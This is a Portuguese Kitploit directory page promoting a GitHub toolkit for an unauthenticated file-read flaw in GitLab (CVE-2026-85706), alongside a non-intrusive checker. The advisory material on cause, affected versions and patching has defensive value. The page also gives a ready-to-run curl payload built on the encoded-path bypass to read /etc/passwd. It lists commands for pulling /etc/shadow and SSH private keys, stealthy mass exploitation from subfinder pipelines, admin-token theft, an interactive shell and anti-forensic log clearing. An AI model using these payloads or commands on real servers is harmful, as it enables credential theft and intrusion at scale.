Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-85706-PoC-Toolkit — Python toolkit para leitura não autenticada de arquivos no GitLab (CVE-2026-85706): exploit weaponizado com loot, shell, varredura em massa, além de auditoria e relatórios não intrusivos com o SafeChecker. | Kitploit
Ferramentas/GitHubGitHub/tc4dy/cve-2026-85706-poc-toolkit
Ferramentas DefensivasScanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesPós-ExploraçãoSegurança WebTestes de Penetração

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Red Teaming
GitHubtc4dy/cve-2026-85706-poc-toolkit

CVE-2026-85706-PoC-Toolkit

Python toolkit para leitura não autenticada de arquivos no GitLab (CVE-2026-85706): exploit weaponizado com loot, shell, varredura em massa, além de auditoria e relatórios não intrusivos com o SafeChecker.

Ver RepositórioSite
1há 10h 19mAinda não revisado
Compartilhar

CVEPoC

CVE‑2026‑85706 – Kit de Ferramentas de Leitura de Arquivos Não Autenticada no GitLab

Python 3.8+ CVSS Author GitLab

⚠️ USO ÉTICO APENAS – TESTES DE SEGURANÇA AUTORIZADOS
Este repositório fornece ferramentas apenas para profissionais de segurança autorizados, blue teams e testadores de penetração.
O acesso não autorizado a sistemas de computador é ilegal sob o CFAA (EUA), Computer Misuse Act (Reino Unido), TCK 243/244 (Turquia) e leis similares em todo o mundo.


📖 Visão Geral da Vulnerabilidade

CVE‑2026‑85706 é uma vulnerabilidade crítica de leitura arbitrária de arquivos locais sem autenticação no GitLab CE/EE auto-gerenciado (versões 18.7 a 19.3.1) que permite a um atacante não autenticado ler qualquer arquivo no servidor através de uma única requisição HTTP para a API de commits.

Como funciona

  1. Incompatibilidade de parsing entre Workhorse e Puma – O GitLab Workhorse valida o caminho da requisição antes da decodificação percentual, enquanto o Puma/Rails o decodifica depois. Isso permite contornar as verificações de segurança do Workhorse usando caracteres codificados como %63ommits.
  2. Abertura de arquivo pré-autenticação – o endpoint /api/v4/projects/{id}/repository/commits abre o arquivo especificado em file.path antes que a autenticação seja aplicada.
  3. Echo de conteúdo via erro – se o arquivo contém uma %-sequence inválida, o Rack ecoa o conteúdo em um corpo 400 Bad Request, vazando o conteúdo completo.
  4. Impacto – segredos, tokens, chaves SSH, variáveis de CI/CD, credenciais de banco de dados e movimento lateral na infraestrutura do GitLab. Atualize imediatamente!

Versões Afetadas

  • 18.7.0 – 19.1.7 – vulnerável
  • 19.2.0 – 19.2.5 – vulnerável
  • 19.3.0 – 19.3.1 – vulnerável

Correção

  • Atualize para 19.1.8, 19.2.6 ou 19.3.2 ou mais recente.
  • Se a atualização não for possível, restrinja o acesso de rede ao GitLab (nunca o exponha à internet) e rotacione todos os tokens/segredos como solução temporária.

🧰 Ferramentas

FerramentaPropósitoUsuário Pretendido
exploit.pyKit de ferramentas completo com leitura de arquivos não autenticada, enumeração de loot, extração de token de admin, varredura em massa, shell interativo, rotação de proxy, modo stealth e relatórios em múltiplos formatos.Red teams / pentesters autorizados
safechecker.pyVerificador de vulnerabilidade não intrusivo que detecta a versão do GitLab, valida a exposição, audita cabeçalhos de segurança e avalia o risco sem ler nenhum arquivo. Gera relatórios JSON/CSV/HTML.Blue teams / auditores de segurança

📊 Comparação de Recursos

Recursoexploit.pysafechecker.py
Detecção de vulnerabilidade✅✅
Detecção de versão✅✅
Leitura de arquivos não autenticada✅❌
Enumeração de loot✅❌
Extração de token de admin✅❌
Shell interativo✅❌
Varredura em massa (multi-thread)✅✅
Auditoria de cabeçalhos de segurança❌✅
Verificação de TLS/certificado❌✅
Mapeamento MITRE ATT&CK✅✅
Suporte a proxy✅✅
Rotação de proxy✅❌
Rotação de User‑Agent (OPSEC)✅❌
Jitter / atraso (OPSEC)✅❌
Limitador de taxa adaptativo✅✅
Modo stealth✅❌
Impersonação de TLS com curl_cffi✅❌
Modo não intrusivo (seguro)❌✅
Saída JSON / JSONL / CSV / HTML✅✅
Saída em banco SQLite✅❌
Notificação via Webhook✅✅
Diff contra varredura anterior✅✅

🎯 Resumo de Casos de Uso

CenárioFerramenta Recomendada
Blue Team – verificar se seu GitLab é vulnerávelsafechecker.py
Auditoria de Segurança – avaliação de vulnerabilidade não intrusivasafechecker.py
Red Team – teste de penetração autorizado com exploração completaexploit.py
Bug Bounty – teste de divulgação responsávelsafechecker.py
Varredura em Massa – verificar múltiplos alvos quanto à vulnerabilidadeexploit.py (somente detecção)
Resposta a Incidentes – verificar se os sistemas foram comprometidossafechecker.py

⚙️ Instalação

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi
rich
pyyaml

📋 Parâmetros

Parâmetros do exploit.py

ParâmetroDescrição
-u, --urlURL de alvo único (ex.: https://gitlab.example.com)
-f, --fileArquivo contendo lista de alvos (um por linha)
--pipeLer alvos do stdin (pipeline subfinder/httpx)
--readCaminho(s) absoluto(s) para ler, separados por vírgula
--wordlistArquivo com caminhos para ler (um por linha)
--project-idForçar um ID de projeto específico
--max-projectsMáximo de IDs de projeto a tentar (padrão: 8)
--autoColetar automaticamente arquivos de alto valor do GitLab
--lootO mesmo que --auto
--shellShell interativo após a exploração
--forceEscanear mesmo se a impressão digital do GitLab for fraca
-t, --threadsThreads para múltiplos alvos (padrão: 8)
--timeoutTimeout HTTP (padrão: 15s)
--retryNúmero de tentativas (padrão: 3)
--retry-onCódigos HTTP para tentar novamente (padrão: 429,500,502,503,504)
--proxyProxy HTTP/HTTPS
--proxy-listArquivo com proxies para rotação
--proxy-rotateEstratégia de rotação: round-robin, random, sticky
--jitterAdicionar jitter aleatório entre requisições
--jitter-rangeJitter mín,máx segundos (padrão: 0.1,2.0)
--delayAtraso fixo entre requisições
--stealthAtivar modo stealth (rotação de UA + X-Forwarded-For)

Parâmetros do safechecker.py

ParâmetroDescrição
-u, --urlURL de alvo único (ex.: https://gitlab.example.com)
-f, --fileArquivo com alvos (um por linha)
-t, --threadsThreads para múltiplos alvos (padrão: 5)
--timeoutTimeout HTTP (padrão: 10s)
--rate-limitMáximo de requisições por segundo (0 = ilimitado)
--user-agentString de User-Agent personalizada
--insecureDesativar verificação TLS (risco de MITM)
--webhookURL de webhook (slack:, discord:, telegram:)
--diffComparar com JSON de varredura anterior
-v, --verboseSaída detalhada
-o, --outputArquivo de saída JSON
--csvArquivo de saída CSV
--reportArquivo de relatório HTML
--mitreIncluir mapeamento MITRE ATT&CK (padrão: ativado)

💥 Cenários

#CenárioComando
1Verificação rápida de vulnerabilidadepython safechecker.py -u https://gitlab.example.com
2Auditoria detalhada com relatóriopython safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v
3Auditoria em massa a partir de arquivopython safechecker.py -f targets.txt -t 10 --rate-limit 5
4Exploit somente detecçãopython exploit.py -u https://gitlab.example.com --safe-mode
5Ler um único arquivopython exploit.py -u https://gitlab.example.com --read /etc/passwd
6Ler múltiplos arquivospython exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa
7Coleta automática de arquivos de alto valorpython exploit.py -u https://gitlab.example.com --auto
8Shell interativopython exploit.py -u https://gitlab.example.com --shell
9Exploit em massa com stealthpython exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl
10Pipeline a partir do subfindersubfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl
11Ataque completo com saída SIEMpython exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json
12Retomar varredura interrompidapython exploit.py -f targets.txt --auto --resume state.json
13Comparar duas varreduraspython safechecker.py -f targets.txt -o new.json --diff previous.json

🧪 Endpoint e Cadeia de Exploração

O exploit usa os seguintes endpoints do GitLab e técnicas de bypass:

PassoMétodoEndpointDescrição
1. BypassPOST/api/v4/projects/{id}/repository/%63ommitsc codificado contorna o Workhorse
2. BypassPOST/api/v4/projects/{id}/%72epository/commitsr codificado em repository
3. BypassPOST/api/v4/projects/{id}/repository/commits/Bypass com barra final
4. BypassPOST/api/v4/projects/{id}/repository/commits.jsonBypass com sufixo de formato Grape
5. Files APIPOST/api/v4/projects/{id}/repository/files/xRota alternativa

Formato do Payload

root@kitploit:~
file=&file.path=/etc/passwd&file.size=1

curl pronto

root@kitploit:~
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ Uso Responsável

  • Use estas ferramentas apenas em sistemas que você possui ou tem permissão escrita explícita para testar.
  • O acesso não autorizado é ilegal e antiético.
  • Os autores não são responsáveis por qualquer uso indevido.
  • Sempre siga as leis e regulamentos do seu país.

Este software é fornecido para propósitos educacionais e testes de segurança autorizados apenas.

Baixar ferramenta
Limpeza de logs (anti-forense)
✅
❌
User‑Agent personalizado✅✅
Controle de verificação SSL✅✅
--curl-cffiUsar curl_cffi para impersonação de impressão digital TLS
--user-agent-fileArquivo com strings de User-Agent
--max-bodyTamanho máximo do corpo da resposta (0 = ilimitado)
--concurrent-per-hostMáximo de requisições concorrentes por host
--rate-limitMáximo de requisições por segundo (0 = ilimitado)
--excludeHosts a excluir, separados por vírgula (padrões glob)
--grepMostrar apenas vazamentos que correspondam à regex
--resumeRetomar a partir do arquivo de estado
--notifyURL de notificação (slack:, discord:, telegram:)
--dbSalvar resultados em banco de dados SQLite
--output-formatFormato de saída: json, jsonl, csv, html
-o, --outputCaminho do arquivo de saída
-v, --verboseSaída detalhada
-q, --quietModo silencioso
--no-colorDesativar cores
--no-bannerSem banner
--configArquivo de configuração YAML/JSON
--dry-runMostrar plano sem fazer requisições
--safe-modeLer apenas /etc/hostname para verificar
--timeout-profileaggressive, normal, stealth
--mitreIncluir mapeamento MITRE ATT&CK
--fingerprintImpressão digital detalhada do GitLab
--cve-checkVerificar CVEs relacionadas
--json-schemaSaída com esquema JSON para SIEM
--progressMostrar barra de progresso (requer rich)